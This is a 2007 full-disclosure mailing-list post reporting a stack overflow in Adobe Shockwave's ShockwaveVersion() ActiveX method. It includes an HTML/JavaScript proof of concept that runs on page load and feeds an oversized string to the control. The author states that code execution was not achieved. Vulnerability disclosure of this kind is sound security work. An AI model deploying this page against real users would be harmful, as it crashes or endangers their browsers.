full-disclosure - Adobe Shockwave ShockwaveVersion() Stack Overflow

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Date: Thu, 8 Nov 2007 19:38:34 -0500 (GMT-05:00)
From: Elazar Broad <elazarb@...thlink.net>
To: full-disclosure@...ts.grok.org.uk
Subject: Adobe Shockwave ShockwaveVersion() Stack Overflow

There is a stack overflow in ShockwaveVersion() function. I have not been able to execute code via this overflow. PoC is as follows:
-----------------------
<html>
 <head>
  <script language="JavaScript" DEFER>
    function Check() {
     var s = "AAAA";
     while (s.length < 768 * 768) s=s+s;
  
     var obj = new ActiveXObject("SWCtl.SWCtl"); //{233C1507-6A77-46A4-9443-F871F945D258}     

     obj.ShockwaveVersion(s);
    }
  </script>

 </head>  
 <body onload="JavaScript: return Check();" />
</html>
-----------------------

Elazar

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